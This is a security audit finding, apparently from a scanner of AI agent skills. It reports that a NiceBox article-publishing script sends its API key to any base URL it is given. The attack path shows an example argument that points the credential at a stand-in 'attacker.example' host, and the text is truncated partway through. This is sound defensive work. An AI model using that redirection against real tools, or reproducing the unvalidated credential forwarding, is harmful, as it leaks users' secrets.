T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/publish_article.py:34
- Finding
- API Credential Disclosure Through Unrestricted Base URL in Article Publishing<![CDATA[ ## Vulnerability Details **File Location**: `scripts/publish_article.py:34-40, 58, 84-87` **Vulnerability Type**: Arbitrary credential destination and insecure transport **Risk Level**: High ### Vulnerable Code ```python def http_post_json(url: str, api_key: str, payload: dict, timeout: int = 30): data = json.dumps(payload, ensure_ascii=False).encode("utf-8") req = urllib.request.Request( url=url, data=data, method="POST", headers={ "Authorization": api_key, "Content-Type": "application/json", "Accept": "application/json", "User-Agent": "nicebox-openclaw-skill/1.0", }, ) ``` ```python parser.add_argument("--base-url", default=get_env("AIBOX_BASE_URL", DEFAULT_BASE_URL), help="API base URL") ``` ```python url = build_url(args.base_url, ENDPOINT_PUBLISH_ARTICLE) try: status_code, raw = http_post_json(url, api_key, payload) ``` ### Technical Analysis The script accepts an unrestricted API base URL from either the `--base-url` command-line argument or the `AIBOX_BASE_URL` environment variable. It does not validate the URL scheme, hostname, port, user information, or destination origin. The resulting URL is passed to `http_post_json`, which attaches `AIBOX_API_KEY` as the `Authorization` header. Consequently, any party able to influence the argument or environment variable can direct the credential to an arbitrary server. Supplying an `http://` URL also transmits the credential and article data without transport encryption. Sending an authorization credential to the declared NiceBox HTTPS API is necessary for the Skill's publishing functionality. Permitting that credential to be sent to an arbitrary origin is not necessary and exceeds the minimum destination privileges required. ### Attack Path 1. An attacker causes the Skill to be invoked with `--base-url http://attacker.example` or influences `AIBOX_BASE_URL`. 2. The script appends `/artic ...[truncated 792 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Parse the base URL with `urllib.parse.urlsplit` before constructing a request. 2. Require the `https` scheme and reject plaintext HTTP. 3. Allowlist the documented hostname `ai.nicebox.cn` and the expected port. 4. Reject URLs containing user information, fragments, unexpected ports, or malformed hostnames. 5. Remove the runtime `--base-url` option unless it is operationally essential. 6. If custom API deployments must be supported, require explicit trusted-administrator configuration and use a separate credential scoped to that origin. 7. Ensure authorization headers are never forwarded to a different origin during redirects; preferably reject cross-origin redirects entirely. 8. Avoid printing the complete article payload by default because it may contain confidential drafts or personal information. ]]>
